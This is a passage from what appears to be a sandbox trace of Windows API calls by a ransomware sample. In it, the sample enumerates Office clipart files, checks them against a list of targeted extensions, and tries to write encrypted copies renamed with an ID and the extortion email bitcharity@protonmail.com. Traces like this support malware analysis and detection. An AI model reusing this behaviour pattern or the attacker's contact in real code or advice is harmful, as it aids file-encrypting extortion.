Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.091] lstrlenW (lpString=".doc") returned 4 [0245.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString=".docx") returned 5 [0245.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.091] lstrlenW (lpString=".pdf") returned 4 [0245.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString=".xls") returned 4 [0245.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.091] lstrlenW (lpString=".xlsx") returned 5 [0245.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.091] lstrlenW (lpString=".ppt") returned 4 [0245.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.092] lstrlenW (lpString=".zip") returned 4 [0245.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.092] lstrlenW (lpString=".rar") returned 4 [0245.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.092] lstrlenW (lpString=".bz2") returned 4 [0245.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.092] lstrlenW (lpString=".7z") returned 3 [0245.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.092] lstrlenW (lpString=".dbf") returned 4 [0245.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.092] lstrlenW (lpString=".1cd") returned 4 [0245.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.092] lstrlenW (lpString=".jpg") returned 4 [0245.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.092] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0245.092] lstrlenW (lpString="DD01166_.WMF") returned 12 [0245.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.093] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2080) returned 1 [0245.093] CloseHandle (hObject=0x11cc) returned 1 [0245.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0245.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.094] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.094] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.094] CloseHandle (hObject=0x11cc) returned 1 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.094] lstrlenW (lpString=".doc") returned 4 [0245.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.094] lstrlenW (lpString=".docx") returned 5 [0245.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.095] lstrlenW (lpString=".pdf") returned 4 [0245.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".xls") returned 4 [0245.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.095] lstrlenW (lpString=".xlsx") returned 5 [0245.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.095] lstrlenW (lpString=".ppt") returned 4 [0245.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.095] lstrlenW (lpString=".zip") returned 4 [0245.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.095] lstrlenW (lpString=".rar") returned 4 [0245.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".bz2") returned 4 [0245.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString=".7z") returned 3 [0245.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.095] lstrlenW (lpString=".dbf") returned 4 [0245.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.095] lstrlenW (lpString=".1cd") returned 4 [0245.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.095] lstrlenW (lpString=".jpg") returned 4 [0245.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.096] lstrlenW (lpString=".doc") returned 4 [0245.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString=".docx") returned 5 [0245.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.096] lstrlenW (lpString=".pdf") returned 4 [0245.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString=".xls") returned 4 [0245.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.096] lstrlenW (lpString=".xlsx") returned 5 [0245.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.096] lstrlenW (lpString=".ppt") returned 4 [0245.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.096] lstrlenW (lpString=".zip") returned 4 [0245.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.096] lstrlenW (lpString=".rar") returned 4 [0245.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString=".bz2") returned 4 [0245.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString=".7z") returned 3 [0245.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.096] lstrlenW (lpString=".dbf") returned 4 [0245.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.096] lstrlenW (lpString=".1cd") returned 4 [0245.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0245.097] lstrlenW (lpString=".jpg") returned 4 [0245.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.097] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0245.097] lstrlenW (lpString="DD01167_.WMF") returned 12 [0245.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.098] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2080) returned 1 [0245.098] CloseHandle (hObject=0x11cc) returned 1 [0245.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0245.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.098] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.098] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.099] CloseHandle (hObject=0x11cc) returned 1 [0245.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.099] lstrlenW (lpString=".doc") returned 4 [0245.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.099] lstrlenW (lpString=".docx") returned 5 [0245.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.099] lstrlenW (lpString=".pdf") returned 4 [0245.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.099] lstrlenW (lpString=".xls") returned 4 [0245.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.099] lstrlenW (lpString=".xlsx") returned 5 [0245.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.099] lstrlenW (lpString=".ppt") returned 4 [0245.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.099] lstrlenW (lpString=".zip") returned 4 [0245.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.099] lstrlenW (lpString=".rar") returned 4 [0245.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.099] lstrlenW (lpString=".bz2") returned 4 [0245.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.099] lstrlenW (lpString=".7z") returned 3 [0245.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.100] lstrlenW (lpString=".dbf") returned 4 [0245.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.100] lstrlenW (lpString=".1cd") returned 4 [0245.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.100] lstrlenW (lpString=".jpg") returned 4 [0245.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.100] lstrlenW (lpString=".doc") returned 4 [0245.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString=".docx") returned 5 [0245.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.100] lstrlenW (lpString=".pdf") returned 4 [0245.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString=".xls") returned 4 [0245.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.100] lstrlenW (lpString=".xlsx") returned 5 [0245.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.100] lstrlenW (lpString=".ppt") returned 4 [0245.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.100] lstrlenW (lpString=".zip") returned 4 [0245.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.100] lstrlenW (lpString=".rar") returned 4 [0245.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString=".bz2") returned 4 [0245.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.100] lstrlenW (lpString=".7z") returned 3 [0245.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.101] lstrlenW (lpString=".dbf") returned 4 [0245.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.101] lstrlenW (lpString=".1cd") returned 4 [0245.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0245.101] lstrlenW (lpString=".jpg") returned 4 [0245.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.101] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0245.101] lstrlenW (lpString="DD01168_.WMF") returned 12 [0245.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.102] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2004) returned 1 [0245.102] CloseHandle (hObject=0x11cc) returned 1 [0245.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0245.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.103] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.103] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.103] CloseHandle (hObject=0x11cc) returned 1 [0245.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0245.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0245.103] lstrlenW (lpString=".doc") returned 4 [0245.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.103] lstrlenW (lpString=".docx") returned 5 [0245.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.104] lstrlenW (lpString=".pdf") returned 4 [0245.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.104] lstrlenW (lpString=".xls") returned 4 [0245.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.104] lstrlenW (lpString=".xlsx") returned 5 [0245.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.104] lstrlenW (lpString=".ppt") returned 4 [0245.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0245.104] lstrlenW (lpString=".zip") returned 4 [0245.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.104] lstrlenW (lpString=".rar") returned 4 [0245.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.104] lstrlenW (lpString=".bz2") returned 4 [0245.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.104] lstrlenW (lpString=".7z") returned 3 [0245.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0245.105] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.105] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.105] CloseHandle (hObject=0x11cc) returned 1 [0245.107] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.107] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.107] CloseHandle (hObject=0x11cc) returned 1 [0245.108] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.108] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.109] CloseHandle (hObject=0x11cc) returned 1 [0245.110] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.110] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.110] CloseHandle (hObject=0x11cc) returned 1 [0245.112] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.112] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.113] CloseHandle (hObject=0x11cc) returned 1 [0245.692] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.693] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.693] CloseHandle (hObject=0x11d0) returned 1 [0245.694] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.694] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.694] CloseHandle (hObject=0x11d0) returned 1 [0245.695] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.695] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.696] CloseHandle (hObject=0x11d0) returned 1 